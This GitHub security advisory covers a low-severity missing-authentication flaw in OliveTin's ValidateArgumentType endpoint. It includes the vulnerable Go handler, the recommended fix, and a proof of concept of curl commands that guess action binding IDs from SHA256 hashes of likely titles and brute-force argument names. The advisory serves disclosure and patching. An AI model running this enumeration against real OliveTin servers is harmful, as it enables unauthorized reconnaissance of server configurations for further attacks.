GitHub Advisoryadvisory · Go
GHSA-f637-w7p2-m7fx OliveTin: ValidateArgumentType API Endpoint's Missing Authentication Allows Action and Argument Enumeration
LOW
Official page ↗
- Aliases
- CVE-2026-48709
- Ecosystem
- Go
- Packages
- github.com/OliveTin/OliveTin
- Severity
- Low
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
- Weaknesses
- CWE-862
- Reviewed
- 2026-06-24
Affected packages
• Go github.com/OliveTin/OliveTin: < 0.0.0-20260521230847-a3865704c854 → fixed in 0.0.0-20260521230847-a3865704c854
Description
Summary
The `ValidateArgumentType` RPC endpoint in `service/internal/api/api.go` does not perform any authentication or authorization checks. Unlike all other data-returning API endpoints, it does not call `auth.UserFromApiCall` or `checkDashboardAccess`. When `AuthRequireGuestsToLogin` is enabled (the security-conscious configuration), this endpoint remains accessible to unauthenticated users and can be used as an oracle to enumerate valid action binding IDs and their argument configurations.
Details
Root Cause
The `ValidateArgumentType` handler at `service/internal/api/api.go:726` has no authentication check:
```go
func (api *oliveTinAPI) ValidateArgumentType(ctx ctx.Context, req *connect.Request[apiv1.ValidateArgumentTypeRequest]) (*connect.Response[apiv1.ValidateArgumentTypeResponse], error) {
if api.argumentNotFoundForValidation(req.Msg) {
return nil, connect.NewError(connect.CodeNotFound, fmt.Errorf("action or argument not found for binding ID %s", req.Msg.BindingId))
}
err := api.validateArgumentTypeInternal(req.Msg)
desc := ""
if err != nil {
desc = err.Error()
}
return connect.NewResponse(&apiv1.ValidateArgumentTypeResponse{
Valid: err == nil,
Description: desc,
}), nil
}
```
Compare this with adjacent endpoints that DO have auth checks:
```go
// WhoAmI - has auth check
func (api *oliveTinAPI) WhoAmI(ctx ctx.Context, req *connect.Request[apiv1.WhoAmIRequest]) ... {
user := auth.UserFromApiCall(ctx, req, api.cfg)
if err := api.checkDashboardAccess(user); err != nil {
return nil, err
}
...
}
// GetDashboard - has auth check
func (api *oliveTinAPI) GetDashboard(ctx ctx.Context, req *connect.Request[apiv1.GetDashboardRequest]) ... {
user := auth.UserFromApiCall(ctx, req, api.cfg)
if err := api.checkDashboardAccess(user); err != nil {
return nil, err
}
...
}
```
Oracle Behavior
The endpoint provides different responses based on whether the binding and argument exist:
• Valid binding + valid argument: Returns `{valid: true/false, description: "..."}` (200 OK)
• Valid binding + invalid argument: Returns `CodeNotFound` error
• Invalid binding: Returns `CodeNotFound` error
While the error messages for the last two cases are identical, an attacker who knows a valid binding ID (or can guess one from action title SHA256) can enumerate argument names by observing which ones return 200 OK vs CodeNotFound.
Binding ID Predictability
Binding IDs are SHA256 hashes of action titles (see `service/internal/executor/executor_actions.go`). Since action titles are typically short, human-readable strings (e.g., "Ping", "Restart Service", "Deploy"), an attacker can precompute hashes of likely titles and test them against this endpoint.
Scope
This finding is only meaningful when `AuthRequireGuestsToLogin: true` is configured. In the default configuration where guests have full dashboard access, the action information is already visible through the dashboard API.
When `AuthRequireGuestsToLogin` is true, `checkDashboardAccess` blocks guest access to other endpoints but NOT to `ValidateArgumentType`.
PoC
Prerequisites
• OliveTin instance with `AuthRequireGuestsToLogin: true` configured
Step 1: Verify other endpoints require auth
Confirm that regular endpoints reject unauthenticated requests:
```bash
curl -s -X POST http://localhost:1337/api/GetDashboard \
-H "Content-Type: application/json" \
-d "{}"
Returns: CodePermissionDenied - "guests are not allowed to access the dashboard"
```
Step 2: Enumerate binding IDs via ValidateArgumentType
Test candidate binding IDs (SHA256 of guessed action titles):
```bash
Test if an action titled "Ping" exists
BINDING_ID=$(echo -n "Ping" | sha256sum | cut -d" " -f1)
curl -s -X POST http://localhost:1337/api/ValidateArgumentType \
-H "Content-Type: application/json" \
-d "{\"bindingId\":\"$BINDING_ID\",\"argumentName\":\"test\",\"value\":\"x\",\"type\":\"ascii\"}"
If action exists: returns CodeNotFound (argument "test" not found for this binding)
If action does not exist: returns CodeNotFound (same message, but confirms the oracle)
```
Step 3: Enumerate argument names for a known binding
Once a valid binding ID is known, brute-force argument names:
```bash
Test if argument "target" exists for the Ping action
curl -s -X POST http://localhost:1337/api/ValidateArgumentType \
-H "Content-Type: application/json" \
-d "{\"bindingId\":\"$BINDING_ID\",\"argumentName\":\"target\",\"value\":\"test\",\"type\":\"ascii\"}"
If argument exists: returns {valid: true/false} (200 OK) -- CONFIRMED
If argument does not exist: returns CodeNotFound error
```
Impact
1. Information Disclosure: Unauthenticated users can enumerate which actions exist (by testing binding IDs) and which arguments each action accepts (by testing argument names). This reveals the server configuration to unauthorized parties.
2. Reconnaissance for Further Attacks: The enumerated information (action names, argument names, argument types) provides valuable reconnaissance for more targeted attacks such as the `ot_` prefix argument injection (see advisory 001) or social engineering.
3. Limited Scope: This is only exploitable when `AuthRequireGuestsToLogin: true` is configured. In the default configuration, guests already have full access to the dashboard which exposes the same information.
Recommended Fix
Add authentication and dashboard access checks to the `ValidateArgumentType` handler, consistent with all other data-returning endpoints:
```go
func (api *oliveTinAPI) ValidateArgumentType(ctx ctx.Context, req *connect.Request[apiv1.ValidateArgumentTypeRequest]) (*connect.Response[apiv1.ValidateArgumentTypeResponse], error) {
// Add auth check consistent with other endpoints
user := auth.UserFromApiCall(ctx, req, api.cfg)
if err := api.checkDashboardAccess(user); err != nil {
return nil, err
}
if api.argumentNotFoundForValidation(req.Msg) {
return nil, connect.NewError(connect.CodeNotFound, fmt.Errorf("action or argument not found for binding ID %s", req.Msg.BindingId))
}
err := api.validateArgumentTypeInternal(req.Msg)
desc := ""
if err != nil {
desc = err.Error()
}
return connect.NewResponse(&apiv1.ValidateArgumentTypeResponse{
Valid: err == nil,
Description: desc,
}), nil
}
```
Related
Alias · CVE (1)
- CVE-2026-48709 OliveTin gives access to predefined shell commands from a web interface. vulnerability
Weakness · CWE (1)
- CWE-862 Missing Authorization weakness
References
- https://github.com/OliveTin/OliveTin/security/advisories/GHSA-f637-w7p2-m7fx web
- https://nvd.nist.gov/vuln/detail/CVE-2026-48709 advisory
- https://github.com/OliveTin/OliveTin/commit/a3865704c854061452a4ab5f6d95de3312698ccd web
- https://github.com/OliveTin/OliveTin package
- https://github.com/OliveTin/OliveTin/releases/tag/3000.13.0 web